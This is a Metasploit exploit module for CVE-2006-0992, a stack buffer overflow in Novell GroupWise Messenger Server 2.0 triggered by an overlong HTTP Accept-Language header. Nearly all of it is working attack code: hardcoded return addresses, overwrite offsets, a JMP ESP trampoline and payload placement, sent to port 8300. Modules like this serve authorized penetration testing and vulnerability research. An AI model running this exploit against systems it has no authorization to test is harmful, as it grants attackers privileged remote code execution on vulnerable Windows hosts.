##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell Messenger Server 2.0 Accept-Language Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Novell GroupWise
        Messenger Server v2.0. This flaw is triggered by any HTTP
        request with an Accept-Language header greater than 16 bytes.
        To overwrite the return address on the stack, we must first
        pass a memcpy() operation that uses pointers we supply. Due to the
        large list of restricted characters and the limitations of the current
        encoder modules, very few payloads are usable.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2006-0992'],
          ['OSVDB', '24617'],
          ['BID', '17503'],
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'           => 500,
          'BadChars'        => "\x00\x0a\x2c\x3b"+ [*("A".."Z")].join,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Groupwise Messenger DClient.dll v10510.37', { 'Rets' =>  [0x6103c3d3, 0x61041010] }],
        ],
      'DisclosureDate' => 'Apr 13 2006'))

    register_options( [ Opt::RPORT(8300) ], self.class )
  end

  def exploit
    connect

    lang = rand_text_alphanumeric(1900)
    lang[ 16, 4] = [target['Rets'][1]].pack('V') # SRC
    lang[272, 4] = [target['Rets'][1]].pack('V') # DST
    lang[264, 4] = [target['Rets'][0]].pack('V') # JMP ESP
    lang[268, 2] = "\xeb\x06"
    lang[276, payload.encoded.length] = payload.encoded

    res = "GET / HTTP/1.1\r\nAccept-Language: #{lang}\r\n\r\n"

    print_status("Trying target address 0x%.8x..." % target['Rets'][0])
    sock.put(res)
    sock.close

    handler
    disconnect
  end

end
